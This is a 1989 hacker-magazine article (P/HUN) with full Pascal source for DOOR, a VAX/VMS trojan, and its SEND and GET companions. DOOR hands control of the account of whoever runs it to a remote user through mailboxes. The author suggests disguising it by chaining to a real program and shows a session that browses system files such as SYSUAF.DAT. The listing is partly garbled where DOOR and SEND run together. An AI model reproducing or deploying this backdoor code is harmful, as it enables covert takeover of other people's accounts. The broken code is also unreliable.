Baliord's VMS Tricks Vol 2: DOOR -------------------------------- By Baliord Phile #7 of P/HUN Magazine Issue #5 The following program was designed to be an example of the use of VAX/VMS Mailboxes for multi-process control. Any use of the program is the responsibility of the person compiling and/or running the program. In this file, we look at the use of VMS's Mailbox facilities. The VMS Mailbox was designed as a way of assisting interprocess communication for non-priviledged users. An example of a program that uses the MBX facility is PHONE. PHONE uses the mailboxes, along with system-wide logical names, to allow users to send information packets back and forth. In the last file I discussed how to take advantage of PHONE's "open" logical names for confusing users. In this installation, you will see how MBX's are VERY useful in taking over people's accounts. This program is called DOOR (a name given it by CW, a very helpful friend who doesn't have a handle), and it allows the "default_control" user to control the account of any person who runs this program. The code does the following: 1) The control_user string is set to the user who will recieve the MAIL that this user is now "accessible." 2) The MBX's necessary are created, using the INDOOR and OUTDOOR logical names as storage area for the MBAxxx: strings. (If the person already has INDOOR and OUTDOOR defined in their main process, then the program will NOT work.) 3) The program waits 1 second, to assure that the MBX's have time to become registered with the system. 4) INDOOR and OUTDOOR are converted back from logical names to the actual device names so the control_user can be told what they are. 5) The process is spawned off with the first command being to tell the control_user what the MBX numbers are. 6) The program then ends. (At this position, an interesting thing to put might be a chain to whatever program name you call it with the version number as -1. I.E. DOOR.EXE;-1 would be the program you chain to. Then the program would, in effect, create the process, then execute a real program.) The control_user must then read their mail and create two MBX's that correspond to the information given in the mail. I.E. OUTDOOR=_MBA211: INDOOR=_MBA212: would be ASSIGNED at the DCL level as ASSIGN MBA211: OUTDOOR and ASSIGN MBA212: INDOOR This must be done before the next two programs can be run. The next two programs are, in order, the SEND program and the program to GET the information. The SEND program assumes that you have entered a SEND:==$[directory]SEND.EXE command. It takes whatever you typed after the SEND command and sends it through to the INDOOR mailbox. The directory in the definition above is the directory you are keeping the SEND program in. The GET program is the next program, and can be run directly. Or you can create a GET:==$[directory]GET.EXE command. The process for operation is illustrated here. $ mail You have 1 new message. MAIL> #1 23-JUL-1989 02:08:03 NEWMAIL From: HEAVEN::DEVIL "Heaven doesn't wan't me, so I took over Hell." To: GOD Subj: OUTDOOR=_MBA230: INDOOR=_MBA231: MAIL> Exit $ assign MBA230: outdoor $ assign MBA231: indoor $ send dir *.com $ get Directory DRC0:[HELL.DEVIL] LOGIN.COM;1 Total of 1 file. $ send mail comp.com god $ New mail on node HEAVEN from DEVIL "Heaven doesn't want me, so I took over Hell." $ get $ send dir sys$system:*.dat $ get Directory SYS$SYSROOT:[SYSEXE] DNAMES.DAT;1 MODPARAMS.DAT;1 NETCIRC.DAT;1 NETCONF.DAT;1 NETLINE.DAT;1 NETLOGING.DAT;1 NETNODE.DAT;1 NETNODE_LOCAL.DAT;1 NETNODE_REMOTE.DAT;1 NETOBJECT.DAT;1 OLDSITE1.DAT;4 OLDSITE2.DAT;5 OLDSITE3.DAT;5 OLDSITE4.DAT;5 PARAMS.DAT;5 SDAT.DAT;1 SETPARAMS.DAT;5 SPSSERR.DAT;4 SPSSINFO.DAT;4 SPSSUDF9.DAT;1 USAGE.DAT;1 Total of 21 files. Directory SYS$COMMON:[SYSEXE] FAKE.DAT;1 JBCSYSQUE.DAT;1 MODPARAMS.DAT;1 RIGHTSLIST.DAT;1 SYSUAF.DAT;1 VMSMAIL.DAT;1 VMSPARAMS.DAT;1 Total of 7 files. Grand total of 2 directories, 28 files. $ send stop/id=0 $ sho sys/subproc $ I think that's enough examples for you to be able to figure out what else to do yourself. DOOR.PAS follows: { DOOR Copyright (c) 1989 by Baliord and CW This program creates a subprocess with input and output being directed to Mailboxes. It is originally intended for use only as a demonstration of the power of mailboxes. The authors take no responsibility for the mischevious or dangerous use of this program. It is only designed as an example of what CAN be done, and is not expected to be actually used. } [ INHERIT( 'SYS$LIBRARY:STARLET' ) ] program door( input, output ); const max = 132; default_control = 'GOD'; { default user that gets mail message } inbox = 'INDOOR'; { Logical name (must be capital). } outbox = 'OUTDOOR'; { Logical name (must be capital). } type word_type = [ word ]0..65535; string = VarYING [ MAX ] of char; Var subject, user, mail_command, control_user, outdev, indev : string; inchannel, outchannel : word_type; { mailbox channels } a, length : integer; [ asynchronous ] function lib$sys_trnlog( %descr logical_name : varying[ l1 ] of char; %ref name_length : integer := %immed 0; %descr equivalence : varying[ l2 ] of char; %ref table : integer := %immed 0 ) : integer; external; [ asynchronous ] function lib$spawn( %descr command : varying[ l1 ] of char := %immed 0; %descr inp : varying[ l2 ] of char := %immed 0; out : varying[ l3 ] of char := %immed 0; %ref flags : integer := %immed 0; %descr process_name : varying[ l4 ] of char := %immed 0; %ref pid, status, efn : integer := %immed 0; [ unbound, asynchronous ] procedure ast( %immed p1 : [ unsafe ]integer ) := %immed 0; ast_parameter : [ unsafe ]integer := %immed 0; prompt : varying [l5] of char := %immed 0; cli : varying [l6] of char := %immed 0 ) : integer; external; procedure sleep(t : real); (* program will sleep 't' *) var (* seconds. *) t1 : real; begin t1:=clock/1000; t:=t1+t; while t1ss$_normal then writeln( 'Mailbox ', mailbox_name, ' does not exist.' ) else begin mailbox_device_name.length := length; $assign( mailbox_device_name, mailbox_channel ); { Assign channel } lib$get_foreign( command ); { Get command } $qio( , mailbox_channel, io$_writevblk + io$m_noformat + io$m_now, ,,, command.body, command.length, ); { Send command. } end; end. ----------------------------------------------------------------------------- GET.PAS follows: { GET Copyright (c) 1989 by Baliord This program was designed to read the output from a MBX. In particular it is made to work with the DOOR program. The use of this program is not the responsibility of the authors of the program, as that it is designed as an example of what CAN be done. It is not intended to be actually used. } [ INHERIT( 'SYS$LIBRARY:STARLET' ) ] program read_slave( input,output ); const mailbox_name = 'INDOOR'; { Logical name (must be capital). } max = 132; type word_type = [ word ]0..65535; string_type = VARYING[ MAX ] OF CHAR; var iosb : array [1..2] of integer; mailbox_channel : word_type; ret,command, mailbox_device_name : string_type; length : integer; [ asynchronous ] function lib$sys_trnlog( %descr logical_name : varying[ l1 ] of char; %ref name_length : integer := %immed 0; %descr equivalence : varying[ l2 ] of char; %ref table : integer := %immed 0 ) : integer; external; begin if lib$sys_trnlog(mailbox_name,length,mailbox_device_name)>ss$_normal then writeln( 'Mailbox ', mailbox_name, ' does not exist.' ) else begin $assign( mailbox_device_name, mailbox_channel ); { Assign channel } repeat command.body:=''; mailbox_device_name.length := length; $qio(,mailbox_channel,io$_readvblk+io$m_now,iosb,,,command.body,80); command.length:=80; if iosb[1]<>ss$_endoffile then writeln(command); until iosb[1]=ss$_endoffile; end; end. This file was produced specifically for the uses of P/HUN magazine and its editor. Any publication outside of that magazine, or distribution seperate from that magazine without the express written approval of the author of this document OR THE EDITOR OF P/HUN MAGAZINE is in violation of the author's wishes. The only exception to this is that you are free to load these files onto systems for compilation. However, if you are going to use them, you MUST leave the comments intact. When referring to this program, give credit where credit is due. ALWAYS leave the disclaimers intact. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Downloaded From P-80 International Information Systems 304-744-2253 12yrs+